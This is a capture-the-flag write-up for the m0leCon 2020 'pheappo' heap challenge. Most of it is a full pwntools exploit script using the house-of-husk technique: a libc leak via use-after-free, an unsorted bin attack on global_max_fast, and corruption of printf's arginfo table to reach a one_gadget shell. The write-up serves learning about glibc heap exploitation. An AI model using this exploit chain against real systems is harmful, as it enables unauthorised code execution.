Tags: __printf_arginfo_table 

Rating:

# pheappo (406 points, 6 solves)

That was a standard heap pwnable with some restrictions:
- Can alloc only chunks with size in range(1040, 38400), which goes to unsorted bin after free
- UAF possible, but not double free because of some additionals checks enforced with the global array `bitmap`
- Can't overwrite malloc_hook and free_hook

To exploit under those conditions I ended up using this known technique which i didn't know the existence of, [house of husk](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507), pretty cool exploit chain which make use of a very strange printf functionality. Did you know that...

> The GNU C Library lets you define your own custom conversion specifiers

No? Well neither did I. Find out more about this at [http://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html](http://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html)

The exploit is mainly an implementation of `house-of-husk` technique so I'm not gonna explain it deeply, since you can find more detailed information in the linked post. I tried to divide the exploit in sections like the post author's did, so it should be easier to follow it.

Thanks to the organizers for those nice challenges, actually learnt a lot of new stuffs :).

### Exploit

```py
#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF("pheappo")
libc = ELF("libc.so.6")

def start(argv=[], *a, **kw):
if args.REMOTE:
return remote("challs.ctf.m0lecon.it", 9001)
else:
return process([exe.path] + argv, env={'LD_PRELOAD': "./libc.so.6"}, *a, **kw)

def flush():
return io.recvuntil(b'Choice: ', drop=True)

def create(sz):
io.sendline(b'1')
io.recvuntil(b'Size: ')
io.sendline(f'{sz}'.encode())
return flush()

def read(idx):
io.sendline(b'2')
io.recvuntil(b'Index: ')
io.sendline(f'{idx}'.encode())
leak = io.recvuntil(b'<=== Menu ===>', drop=True)
flush()
return leak

def write(idx, data):
io.sendline(b'3')
io.recvuntil(b'Index: ')
io.sendline(f'{idx}'.encode())
io.recvuntil(b'Data: ')
io.sendline(data)
return flush()

def delete(idx):
io.sendline(b'4')
io.recvuntil(b'Index: ')
io.sendline(f'{idx}'.encode())
return flush()

def quit():
io.sendline(b'5')

if __name__ == "__main__":
io = start()

# 1) Leak libc address
create(1040) # to leak libc_main_arena with UAF
'''
2 chunks to achieve relative a overwrite with free
more on this tecnique @ https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/
- briefly, after setting global_max_fast to a big value, every chunk is gonna be treated as a
fastbin chunk, so every free is gonna put the chunk in main_arena.fastbinsY[out_of_bound_idx], achieving
an out of bound write of a heap pointer in the libc
E.G)
- size=1040 + 0x10*i writes to main_arena + 528 + i*8
'''
get_i = lambda off_from_arena : (off_from_arena - 528) // 8
create(1040 + 0x10 * get_i(libc.sym.__printf_arginfo_table - libc.sym.main_arena))
create(1040 + 0x10 * get_i(libc.sym.__printf_function_table - libc.sym.main_arena))

delete(0)
chunk0leak = read(0)
# leak &main_arena.unsortedbin
libc_mainarena_unsortedbin = u64(chunk0leak[:8])

libc.address = libc_mainarena_unsortedbin - 2116768
log.info(f'libc_base: {libc.address:x}')
onegadget = libc.address + 0x4f322 - 0x1e7000
log.info(f'one_gadget: 0x{onegadget:x}')

# forge fake __printf_arginfo_table so that tbl['%d'] = one_gadget
fake_tbl = flat({
784 : onegadget, # 0x4f322 0x10a38c
}, filler=b'\x00')

# 2) Make global_max_fast large with unsorted bin attack
global_max_fast = libc.address + 2124096
log.info('Do unsorted bin attack to overwrite global_max_fast...')
where = global_max_fast-0x10
write(0, p64(0) + p64(where))
create(1040)

# 3) Write the address of a fake arginfo table to __printf_arginfo_table by "relative overwrite"
log.info('Write chunk1payload_ptr-0x10 to __printf_arginfo_table...')
write(1, fake_tbl)
delete(1)

# 4) Write a non-null value to __printf_function_table by "relative overwrite"
log.info('Write chunk2payload_ptr-0x10 to __printf_function_table...')
delete(2)

# 5) call printf to call onegadget
log.success("Get shell")
quit()

io.interactive()
```

Original writeup (https://fibonhack.github.io/2020/m0lecon2020/pheappo).